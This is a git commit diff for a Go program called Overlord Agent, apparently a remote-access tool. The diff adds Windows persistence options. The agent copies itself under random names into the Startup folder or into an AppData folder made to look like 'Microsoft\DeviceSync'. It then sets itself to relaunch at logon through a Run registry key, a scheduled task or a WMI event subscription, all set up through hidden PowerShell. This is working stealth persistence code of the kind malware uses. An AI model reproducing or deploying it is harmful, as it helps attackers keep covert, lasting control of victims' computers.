add more persistence options and fix startup detections. Also bump version to 1.3.5

This commit is contained in:
KingKDot
2026-03-12 13:52:02 -05:00
parent 52ac86507b
commit b2172dd3e8
10 changed files with 282 additions and 54 deletions
@@ -5,6 +5,8 @@ import (
"path/filepath"
)
var DefaultPersistenceMethod = "startup"
func Setup() error {
exePath, err := os.Executable()
if err != nil {
@@ -5,42 +5,86 @@ package persistence
import (
"crypto/rand"
"crypto/sha256"
"encoding/hex"
"fmt"
"io"
"os"
"os/exec"
"path/filepath"
"strings"
"syscall"
"golang.org/x/sys/windows/registry"
)
const registryKey = `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`
const startupFolderRelative = `Microsoft\Windows\Start Menu\Programs\Startup`
const startupExecutablePrefix = "ovd_"
const (
registryKey = `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`
const legacyRegistryValueName = "OverlordAgent"
const registryValuePrefix = "OverlordAgent-"
startupFolderRelative = `Microsoft\Windows\Start Menu\Programs\Startup`
appDataBinaryDir = `Microsoft\DeviceSync`
startupExecutablePrefix = "ovd_"
taskNamePrefix = "ovd_"
legacyRegistryValueName = "OverlordAgent"
registryValuePrefix = "OverlordAgent-"
createNoWindow = 0x08000000
)
func activeMethod() string {
m := strings.ToLower(strings.TrimSpace(DefaultPersistenceMethod))
switch m {
case "registry", "taskscheduler", "wmi":
return m
default:
return "startup"
}
}
func getTargetPath() (string, error) {
switch activeMethod() {
case "registry", "taskscheduler", "wmi":
return getAppDataTargetPath()
default:
return getStartupFolderTargetPath()
}
}
func getStartupFolderTargetPath() (string, error) {
appDataDir := os.Getenv("APPDATA")
if appDataDir == "" {
return "", fmt.Errorf("APPDATA environment variable not set")
}
startupDir := filepath.Join(appDataDir, startupFolderRelative)
if existing, ok := findExistingStartupExecutable(startupDir); ok {
if existing, ok := findExistingBinaryInDir(startupDir); ok {
return existing, nil
}
name, err := generateStartupExecutableName()
name, err := generateBinaryName()
if err != nil {
return "", err
}
return filepath.Join(startupDir, name), nil
}
func getAppDataTargetPath() (string, error) {
appDataDir := os.Getenv("APPDATA")
if appDataDir == "" {
return "", fmt.Errorf("APPDATA environment variable not set")
}
dir := filepath.Join(appDataDir, appDataBinaryDir)
if existing, ok := findExistingBinaryInDir(dir); ok {
return existing, nil
}
name, err := generateBinaryName()
if err != nil {
return "", err
}
return filepath.Join(dir, name), nil
}
func getLegacyTargetPath() (string, bool) {
appDataDir := os.Getenv("APPDATA")
if appDataDir == "" {
@@ -49,57 +93,161 @@ func getLegacyTargetPath() (string, bool) {
return filepath.Join(appDataDir, "Overlord", "agent.exe"), true
}
func findExistingStartupExecutable(startupDir string) (string, bool) {
entries, err := os.ReadDir(startupDir)
func findExistingBinaryInDir(dir string) (string, bool) {
entries, err := os.ReadDir(dir)
if err != nil {
return "", false
}
for _, entry := range entries {
if entry.IsDir() {
continue
}
name := strings.ToLower(entry.Name())
if !strings.HasSuffix(name, ".exe") {
continue
}
if strings.HasPrefix(name, startupExecutablePrefix) {
return filepath.Join(startupDir, entry.Name()), true
if strings.HasSuffix(name, ".exe") && strings.HasPrefix(name, startupExecutablePrefix) {
return filepath.Join(dir, entry.Name()), true
}
}
return "", false
}
func generateStartupExecutableName() (string, error) {
func findExistingStartupExecutable(startupDir string) (string, bool) {
return findExistingBinaryInDir(startupDir)
}
func generateBinaryName() (string, error) {
b := make([]byte, 6)
if _, err := rand.Read(b); err != nil {
return "", fmt.Errorf("failed to generate startup executable name: %w", err)
return "", fmt.Errorf("failed to generate executable name: %w", err)
}
return startupExecutablePrefix + hex.EncodeToString(b) + ".exe", nil
}
func install(exePath string) error {
func generateStartupExecutableName() (string, error) {
return generateBinaryName()
}
func deriveTaskName(targetPath string) string {
h := sha256.Sum256([]byte(strings.ToLower(filepath.Clean(targetPath))))
return taskNamePrefix + hex.EncodeToString(h[:4])
}
func deriveWMINames(targetPath string) (filterName, consumerName string) {
h := sha256.Sum256([]byte(strings.ToLower(filepath.Clean(targetPath))))
suffix := hex.EncodeToString(h[:4])
return taskNamePrefix + "f" + suffix, taskNamePrefix + "c" + suffix
}
func runPowerShell(script string) error {
cmd := exec.Command("powershell.exe",
"-NoProfile", "-NonInteractive", "-WindowStyle", "Hidden",
"-Command", script)
cmd.SysProcAttr = &syscall.SysProcAttr{
HideWindow: true,
CreationFlags: createNoWindow,
}
out, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("powershell: %w: %s", err, strings.TrimSpace(string(out)))
}
return nil
}
func installStartupFolder(_ string) error {
return nil
}
func installRegistry(targetPath string) error {
k, err := registry.OpenKey(registry.CURRENT_USER, registryKey,
registry.QUERY_VALUE|registry.SET_VALUE)
if err != nil {
return fmt.Errorf("failed to open HKCU Run key: %w", err)
}
defer k.Close()
names, _ := k.ReadValueNames(0)
for _, name := range names {
if strings.HasPrefix(strings.ToLower(name), strings.ToLower(registryValuePrefix)) {
return k.SetStringValue(name, fmt.Sprintf(`"%s"`, targetPath))
}
}
b := make([]byte, 4)
if _, err := rand.Read(b); err != nil {
return fmt.Errorf("failed to generate registry value name: %w", err)
}
valueName := registryValuePrefix + hex.EncodeToString(b)
return k.SetStringValue(valueName, fmt.Sprintf(`"%s"`, targetPath))
}
func installTaskScheduler(targetPath string) error {
taskName := deriveTaskName(targetPath)
safe := strings.ReplaceAll(targetPath, "'", "''")
// Notes on PowerShell parameter syntax used here:
// -ExecutionTimeLimit: expects a TimeSpan; ([TimeSpan]::Zero) disables the limit.
// -StartWhenAvailable: SwitchParameter — must be bare or use colon syntax (:$true);
// writing "-StartWhenAvailable $true" (with space) makes $true a positional arg, which errors.
script := fmt.Sprintf(
`$a = New-ScheduledTaskAction -Execute '%s'; `+
`$t = New-ScheduledTaskTrigger -AtLogOn; `+
`$s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; `+
`Register-ScheduledTask -TaskName '%s' -Action $a -Trigger $t -Settings $s -Force | Out-Null`,
safe, taskName)
return runPowerShell(script)
}
func installWMI(targetPath string) error {
filterName, consumerName := deriveWMINames(targetPath)
safe := strings.ReplaceAll(targetPath, "'", "''")
script := fmt.Sprintf(
`$f = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance(); `+
`$f.QueryLanguage = 'WQL'; `+
`$f.Query = "SELECT * FROM __InstanceCreationEvent WITHIN 30 `+
`WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'"; `+
`$f.Name = '%s'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); `+
`$c = ([wmiclass]"\\.\root\subscription:CommandLineEventConsumer").CreateInstance(); `+
`$c.Name = '%s'; $c.ExecutablePath = '%s'; $null = $c.Put(); `+
`$b = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance(); `+
`$b.Filter = "\\.\root\subscription:__EventFilter.Name='%s'"; `+
`$b.Consumer = "\\.\root\subscription:CommandLineEventConsumer.Name='%s'"; `+
`$null = $b.Put()`,
filterName, consumerName, safe, filterName, consumerName)
return runPowerShell(script)
}
func install(exePath string) error {
targetPath, err := getTargetPath()
if err != nil {
return err
}
startupDir := filepath.Dir(targetPath)
err = os.MkdirAll(startupDir, 0755)
if err != nil {
return fmt.Errorf("failed to create startup directory: %w", err)
dir := filepath.Dir(targetPath)
if err := os.MkdirAll(dir, 0755); err != nil {
return fmt.Errorf("failed to create directory: %w", err)
}
if err := replaceExecutable(exePath, targetPath); err != nil {
return err
}
if err := cleanupLegacyRunValues(); err != nil {
return fmt.Errorf("failed to clean legacy startup registry values: %w", err)
switch activeMethod() {
case "registry":
if err := installRegistry(targetPath); err != nil {
return fmt.Errorf("failed to install registry persistence: %w", err)
}
case "taskscheduler":
if err := installTaskScheduler(targetPath); err != nil {
return fmt.Errorf("failed to install task scheduler persistence: %w", err)
}
case "wmi":
if err := installWMI(targetPath); err != nil {
return fmt.Errorf("failed to install WMI persistence: %w", err)
}
}
// Best-effort cleanup of legacy registry entries from older versions.
// Don't fail persistence setup if cleanup is denied due to insufficient permissions.
_ = cleanupLegacyRunValues()
return nil
}
@@ -139,7 +287,6 @@ func replaceExecutable(exePath, targetPath string) error {
}
return fmt.Errorf("failed to replace executable at %s: %w", targetPath, err)
}
return nil
}
@@ -155,36 +302,43 @@ func configure(exePath string) error {
}
}
if err := cleanupLegacyRunValues(); err != nil {
return fmt.Errorf("failed to clean legacy startup registry values: %w", err)
switch activeMethod() {
case "registry":
if err := installRegistry(targetPath); err != nil {
return fmt.Errorf("failed to reconfigure registry persistence: %w", err)
}
case "taskscheduler":
if err := installTaskScheduler(targetPath); err != nil {
return fmt.Errorf("failed to reconfigure task scheduler persistence: %w", err)
}
case "wmi":
if err := installWMI(targetPath); err != nil {
return fmt.Errorf("failed to reconfigure WMI persistence: %w", err)
}
default:
// Best-effort cleanup of legacy registry entries from older versions.
// Don't fail persistence setup if cleanup is denied due to insufficient permissions.
_ = cleanupLegacyRunValues()
}
return nil
}
func uninstall() error {
if err := cleanupLegacyRunValues(); err != nil {
return fmt.Errorf("failed to clean startup registry values: %w", err)
}
_ = cleanupLegacyRunValues()
_ = uninstallTaskScheduler()
_ = uninstallWMI()
appDataDir := os.Getenv("APPDATA")
if appDataDir == "" {
return nil
}
startupDir := filepath.Join(appDataDir, startupFolderRelative)
if err := cleanupPrefixedExecutables(startupDir); err != nil {
return err
}
if err := cleanupPrefixedExecutables(filepath.Join(appDataDir, "Overlord")); err != nil {
return err
}
targetPath, err := getTargetPath()
if err == nil {
_ = os.Remove(targetPath)
}
_ = cleanupPrefixedExecutables(filepath.Join(appDataDir, startupFolderRelative))
_ = cleanupPrefixedExecutables(filepath.Join(appDataDir, appDataBinaryDir))
_ = cleanupPrefixedExecutables(filepath.Join(appDataDir, "Overlord"))
if legacyPath, ok := getLegacyTargetPath(); ok {
_ = os.Remove(legacyPath)
@@ -193,6 +347,26 @@ func uninstall() error {
return nil
}
func uninstallTaskScheduler() error {
return runPowerShell(
`Get-ScheduledTask -ErrorAction SilentlyContinue | ` +
`Where-Object { $_.TaskName -like 'ovd_*' } | ` +
`Unregister-ScheduledTask -Confirm:$false -ErrorAction SilentlyContinue`)
}
func uninstallWMI() error {
return runPowerShell(
`Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding ` +
`-ErrorAction SilentlyContinue | Where-Object { $_.Filter -like "*ovd_*" } | ` +
`Remove-WmiObject -ErrorAction SilentlyContinue; ` +
`Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer ` +
`-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "ovd_*" } | ` +
`Remove-WmiObject -ErrorAction SilentlyContinue; ` +
`Get-WmiObject -Namespace root\subscription -Class __EventFilter ` +
`-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "ovd_*" } | ` +
`Remove-WmiObject -ErrorAction SilentlyContinue`)
}
func cleanupPrefixedExecutables(dir string) error {
entries, err := os.ReadDir(dir)
if err != nil {
@@ -218,7 +392,8 @@ func cleanupPrefixedExecutables(dir string) error {
}
func cleanupLegacyRunValues() error {
k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, registry.SET_VALUE)
k, err := registry.OpenKey(registry.CURRENT_USER, registryKey,
registry.QUERY_VALUE|registry.SET_VALUE)
if err != nil {
if err == registry.ErrNotExist {
return nil
@@ -226,7 +401,6 @@ func cleanupLegacyRunValues() error {
return fmt.Errorf("failed to open registry key: %w", err)
}
defer k.Close()
return cleanupOverlordRunValues(k)
}
@@ -235,7 +409,6 @@ func cleanupOverlordRunValues(k registry.Key) error {
if err != nil {
return err
}
for _, name := range names {
if isOverlordRunValueName(name) {
if err := k.DeleteValue(name); err != nil && err != registry.ErrNotExist {
@@ -243,7 +416,6 @@ func cleanupOverlordRunValues(k registry.Key) error {
}
}
}
return nil
}